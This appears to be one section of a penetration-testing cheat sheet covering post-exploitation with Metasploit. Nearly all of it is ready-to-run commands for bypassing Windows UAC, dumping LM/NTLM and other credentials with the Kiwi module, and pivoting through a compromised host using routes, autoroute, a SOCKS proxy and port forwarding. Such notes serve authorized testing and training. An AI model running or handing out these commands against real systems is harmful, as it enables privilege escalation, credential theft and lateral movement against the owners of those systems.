6. Post-Exploitation Modules

UAC bypass:

• Review the integrity level of current process:

powershell -ep bypass
Import-Module NtObjectManager
Get-NtTokenIntegrityLevel

• Effective UAC bypass for modern Windows systems:

use exploit/windows/local/bypassuac_sdclt
set session <id>
set LHOST <localhost>
run

Kiwi Credential Stealer:

• Requires privileges like Mimikatz
• In Meterpreter:

#Load module:
load kiwi

#Dump LM/NTLM creds:
creds_msv

#Dump all creds:
creds_all

Meterpreter Port Forwarding:

route add <ip-or-range> <msfsessionid>

• Note: new shells on remote target through tunnel will only work if bind shells

• Example:
  route add 172.16.5.0/24 2

• Flush all routes:

route flush

• Auto-route module (recommended):

use multi/manage/autoroute
set session <id>
run

• SOCKS proxy module for tunnel outside of MSF:
  • Edit proxychains conf to port 1080 and win!

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run -j

• Meterpreter built-in port forward:

portfwd add -l <localport> -p <remoteport> -r <remoteip>